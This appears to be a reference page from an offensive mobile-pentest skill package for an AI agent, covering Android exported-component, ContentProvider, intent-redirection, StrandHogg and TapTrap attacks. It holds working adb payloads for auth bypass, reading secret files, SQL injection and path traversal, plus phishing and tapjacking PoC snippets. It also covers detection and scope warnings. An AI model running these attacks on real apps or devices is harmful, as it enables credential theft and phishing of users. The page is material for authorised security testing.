Skip to content

hypnguyen1209/offensive-claude / skills/mobile-pentest

mobile-pentest

Unverified

Use when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE

references/android-component-attacks.md

View on GitHub
# Android Component & IPC Attacks

> **ATT&CK (Mobile):** T1626.001 (Abuse Elevation Control), T1409 (Stored App Data), T1517 (task hijack) · **CWE:** CWE-926, CWE-89, CWE-22, CWE-1021

Exploiting the Android IPC attack surface: exported Activities/Services/BroadcastReceivers,
ContentProviders (SQLi + path traversal, incl. CVE-2025-48609), and UI-trust attacks
(task hijacking / StrandHogg, TapTrap animation-driven tapjacking from USENIX Security '25).

---

## 1. Enumerating the Attack Surface

`exported` components are the IPC entry points. A component is exported when `android:exported="true"`
**or** (legacy) it declares an `intent-filter` without an explicit `exported` attribute (pre-API-31
implicit export — still common in apps targeting old SDKs).

```bash
# Static — from the decoded manifest
apktool d base.apk -o decoded
# (use scripts/manifest_attack_surface.py for a structured JSON of exported + permission-gated comps)
python3 scripts/manifest_attack_surface.py base.apk -o surface.json

# Dynamic — from a running device
adb shell dumpsys package com.target.app | sed -n '/Activity Resolver Table/,/Service Resolver Table/p'
adb shell pm dump com.target.app | grep -iE 'exported|permission'

# drozer (classic, still useful)
drozer console connect
run app.package.attacksurface com.target.app
run app.provider.finduri com.target.app
run app.activity.info -a com.target.app
```

Flag these in `surface.json`: `exported && (no permission)`, `exported && (signature/normal permission)`,
`grantUriPermissions`, `android:debuggable`, `android:allowBackup`, custom-defined `<permission>` at `normal` protection level.

---

## 2. Activity / Service / Broadcast Exploitation

```bash
# Launch an exported (often "internal-only") activity directly — bypass auth gates / unlock screens
adb shell am start -n com.target.app/.admin.SecretActivity
adb shell am start -n com.target.app/.WebViewActivity \
  --es url "https://attacker.example/phish"            # if it loads attacker-controlled URL

# Pass crafted extras to influence logic (mass-assignment style)
adb shell am start -n com.target.app/.CheckoutActivity --ei price 0 --ez is_admin true

# Start an exported service & feed it a command parameter
adb shell am startservice -n com.target.app/.CommandService \
  --es cmd "cat /data/data/com.target.app/shared_prefs/secrets.xml"

# Fire a broadcast an unprotected receiver acts on (e.g. forces a state change / re-auth skip)
adb shell am broadcast -a com.target.app.ACTION_RESET --es token "attacker"
```

The realistic-PoC version of all four is a **malicious companion app** sending the same intents from
a foreign UID, which proves the *cross-app* boundary is crossed (adb runs as `shell`, UID 2000, which
some apps allow-list). `scripts/component_fuzz.sh` automates am-based probing from `surface.json`.

---

## 3. ContentProvider Abuse

### 3a. SQL injection

When a provider builds queries from `selection`/`projection`/`uri` without parameterization:

```bash
adb shell content query --uri content://com.target.app.provider/users
# Boolean SQLi via selection
adb shell content query --uri content://com.target.app.provider/users \
  --where "1=1) UNION SELECT name,password FROM accounts--"
# Or in the URI segment
adb shell content query --uri "content://com.target.app.provider/users/1' OR '1'='1"
adb shell content insert --uri content://com.target.app.provider/users \
  --bind username:s:admin --bind role:s:admin
```

### 3b. Path traversal via `openFile()` (CWE-22) — CVE-2025-48609

A provider that resolves file paths from `Uri.getLastPathSegment()` / `getPathSegments()` without
canonicalization is traversable. **Critical nuance**: those accessors *URL-decode*, so naive `..` filters
are bypassed with encoding (`..%2f`). The recommended fix is
`new File(base, seg).getCanonicalPath().startsWith(base)`.

```bash
# Read arbitrary app-private files through a vulnerable FileProvider-style provider
adb shell content read --uri "content://com.target.app.files/data/..%2f..%2fdatabases%2fsecrets.db" \
  > loot.db

# Verified recent example: CVE-2025-48609 — improper path validation in multiple functions of
# MmsProvider.java allowed a local app to delete arbitrary telephony/SMS/MMS files (local DoS,
# no extra privileges / no user interaction). Patched in the Android Security Bulletin, March 2026.
```

`scripts/component_fuzz.sh` includes a traversal probe set (`../`, `..%2f`, `..%252f`, absolute paths)
against every `content://` URI in `surface.json`.

---

## 4. `intent://` Redirection to Non-Exported Components

A browsable activity that parses an attacker-supplied `Intent` (via `Intent.parseUri()` /
`getParcelableExtra("intent")` / nested-intent forwarding) lets a web page reach **non-exported**
internal components — "intent redirection" (CWE-940/CWE-939).

```html
<!-- Served from any web page the victim opens; the browsable proxy activity forwards the parsed
     intent to an internal, otherwise-unreachable component. -->
<a href="intent://x/#Intent;scheme=app;package=com.target.app;
   component=com.target.app/.internal.GrantAccessActivity;
   S.token=attacker;end">go</a>
```

Test from adb:

```bash
adb shell am start -a android.intent.action.VIEW -d \
 "intent://x/#Intent;package=com.target.app;component=com.target.app/.internal.GrantAccessActivity;end"
```

Deep-link / WebView consequences are detailed in `webview-deeplink-exploitation.md`.

---

## 5. Task Hijacking — StrandHogg & TapTrap

### 5a. StrandHogg (task-affinity hijack, CWE-1021)

A malicious app sets `android:taskAffinity` (v1.0) — or, in **StrandHogg 2.0 (CVE-2020-0096)**, uses
reflection-based dynamic activity launch (no manifest tell, harder to detect) — to insert its phishing
activity into the *victim app's* task stack, so it renders on top when the user launches the target.

- **Patched**: Android 11+ (SDK 30) fully; 2.0 back-ported to 8.0/8.1/9 (May-2020 SPL); Android 10+ unaffected.
- **Still relevant**: huge fleet of unpatched / vendor-frozen devices.
- **Audit the *target* app**: every launcher/important activity should set `android:taskAffinity=""`
  and a safe `launchMode`. `scripts/manifest_attack_surface.py` flags activities lacking these.

Malicious-app manifest snippet that demonstrates v1.0 (for the PoC companion app):

```xml
<activity android:name=".Phish"
          android:taskAffinity="com.target.app"
          android:excludeFromRecents="true"
          android:launchMode="singleTask"/>
```

### 5b. TapTrap — animation-driven tapjacking (USENIX Security '25)

**Beer, Squarcina, Roth, Lindorfer (TU Wien)** — a **zero-permission** app starts a *transparent*
benign-target activity on top of a malicious one using an **activity transition animation** with
near-zero opacity. The user sees/interacts with the malicious UI while taps land on the (invisible)
sensitive activity behind it — e.g. a permission-grant dialog, or even the **factory-reset** confirm.

- Bypasses overlay-based tapjacking defenses (it is *not* an overlay) and works on **Android 15**.
- Attack window ≤ 3s (max transition-animation duration); an implementation flaw let it reach **6s**.
- Large-scale study: **76.3% of 99,705 Play apps vulnerable**; user study: **20/20 missed at least one variant**.
- Two CVEs assigned (one affected **Firefox < 136** via Custom Tabs transition animations).
- **Fixed in the December 2025 Android Security Update** (Android 13/14/15/16).

PoC-relevant launch (malicious app) — start target activity with a custom near-invisible animation:

```java
// Build a transition where the target (e.g. system permission UI) is rendered ~fully transparent
ActivityOptions opts = ActivityOptions.makeCustomAnimation(ctx, R.anim.fade_to_zero_alpha, 0);
startActivity(targetIntent, opts.toBundle());   // animationScale abused to keep it transparent + slow
```

**Audit angle**: check device SPL ≥ 2025-12; check the target app's `targetSdk` and whether sensitive
confirmation flows are reachable while a transition animation is in flight. Note TapTrap and StrandHogg
share the same end goal (UI-trust phishing) even though the mechanism differs — assess both.

---

## Detection

- **Exported-component abuse**: app should verify `Binder.getCallingUid()` / require a signature-level
  permission. SOC sees `am start`/`startservice`/`am broadcast` in adb shell history or, on-device, a
  foreign UID delivering intents. Sigma (logcat/EDR-mobile):
  ```yaml
  title: Suspicious am Component Launch via adb
  logsource: { product: android, service: shell_history }
  detection:
    sel:
      CommandLine|contains|all: ['am ', '-n ', 'com.target.app/']
    condition: sel
  level: medium
  ```
- **Content-provider traversal/SQLi**: encoded `..%2f` in `content://` URIs; `openFile` resolving outside
  the data dir; UNION/`OR 1=1` in selection. CVE-2025-48609 patched Mar-2026 SPL — check `ro.build.version.security_patch`.
- **Task hijacking / TapTrap**: foreign activity sharing the victim's `taskAffinity`; a transition
  animation with alpha→0 over a sensitive system activity. TapTrap fixed Dec-2025 SPL. App-side: set
  `setFilterTouchesWhenObscured(true)` (only helps overlays, *not* TapTrap), keep `targetSdk` current.

## OPSEC

- adb-based probing leaves shell history and `dumpsys`/`logcat` artifacts; for high-fidelity, low-noise
  PoCs use an on-device companion app (also proves the cross-UID boundary).
- ContentProvider reads are passive; do destructive `insert`/`delete`/traversal-write tests last and
  snapshot data first (`adb backup` / `content query` dump).
- TapTrap/StrandHogg are *attacker-app* techniques — only deploy the PoC app on a lab device you own; it
  is in-scope as a demonstration, not as something to leave installed on a client's fleet.

## References

- Oversecured — Android deep-link & intent-redirection vulnerabilities — https://oversecured.com/blog/android-deep-link-vulnerabilities
- Oversecured — Content Providers and their weak spots — https://blog.oversecured.com/Content-Providers-and-the-potential-weak-spots-they-can-have/
- SentinelOne / NVD — CVE-2025-48609 (MmsProvider path traversal) — https://www.sentinelone.com/vulnerability-database/cve-2025-48609/
- Android Developers — Path traversal risk — https://developer.android.com/privacy-and-security/risks/path-traversal
- Android Developers — StrandHogg / task-affinity risk — https://developer.android.com/privacy-and-security/risks/strandhogg
- Help Net Security — StrandHogg 2.0 / CVE-2020-0096 — https://www.helpnetsecurity.com/2020/05/28/cve-2020-0096/
- TapTrap (USENIX Security '25), Beer et al., TU Wien — https://www.usenix.org/conference/usenixsecurity25/presentation/beer and https://taptrap.click/
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall